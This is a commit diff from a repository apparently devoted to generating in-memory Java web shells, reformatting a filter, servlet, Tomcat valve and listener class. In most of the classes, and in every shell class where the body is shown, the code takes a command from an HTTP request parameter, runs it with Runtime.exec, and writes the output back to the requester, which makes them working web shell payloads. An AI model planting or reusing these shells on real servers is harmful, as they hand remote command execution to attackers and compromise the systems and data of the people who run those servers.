mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
refactor: format code
This commit is contained in:
+8
-2
@@ -27,10 +27,16 @@ public class ListenerGenerator {
|
|||||||
.name(newClassName)
|
.name(newClassName)
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.method(named("getResponseFromRequest"),
|
.method(named("getResponseFromRequest"),
|
||||||
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
|
new MethodCallReplaceVisitorWrapper(
|
||||||
|
newClassName,
|
||||||
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
|
)
|
||||||
|
)
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
||||||
.make()) {
|
.make()) {
|
||||||
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
return unloaded
|
||||||
|
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
||||||
|
.getLoaded();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-14
@@ -23,22 +23,18 @@ public class CommandFilter implements Filter {
|
|||||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
String cmd = servletRequest.getParameter(paramName);
|
String cmd = servletRequest.getParameter(paramName);
|
||||||
try {
|
if (cmd != null) {
|
||||||
if (cmd != null) {
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
InputStream inputStream = exec.getInputStream();
|
||||||
InputStream inputStream = exec.getInputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
byte[] buf = new byte[8192];
|
||||||
byte[] buf = new byte[8192];
|
int length;
|
||||||
int length;
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
outputStream.write(buf, 0, length);
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
chain.doFilter(servletRequest, servletResponse);
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
return;
|
||||||
chain.doFilter(servletRequest, servletResponse);
|
|
||||||
}
|
}
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
+21
-20
@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void requestDestroyed(ServletRequestEvent sre) {
|
public void requestDestroyed(ServletRequestEvent sre) {
|
||||||
|
|
||||||
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-12
@@ -22,19 +22,16 @@ public class CommandServlet extends HttpServlet {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
try {
|
String cmd = request.getParameter(paramName);
|
||||||
String cmd = request.getParameter(paramName);
|
if (cmd != null) {
|
||||||
if (cmd != null) {
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
InputStream inputStream = exec.getInputStream();
|
||||||
InputStream inputStream = exec.getInputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
byte[] buf = new byte[8192];
|
||||||
byte[] buf = new byte[8192];
|
int length;
|
||||||
int length;
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
outputStream.write(buf, 0, length);
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-13
@@ -41,20 +41,17 @@ public class CommandValve implements Valve {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
try {
|
String cmd = request.getParameter(paramName);
|
||||||
String cmd = request.getParameter(paramName);
|
if (cmd != null) {
|
||||||
if (cmd != null) {
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
InputStream inputStream = exec.getInputStream();
|
||||||
InputStream inputStream = exec.getInputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
byte[] buf = new byte[8192];
|
||||||
byte[] buf = new byte[8192];
|
int length;
|
||||||
int length;
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
outputStream.write(buf, 0, length);
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
return;
|
||||||
}
|
}
|
||||||
this.getNext().invoke(request, response);
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user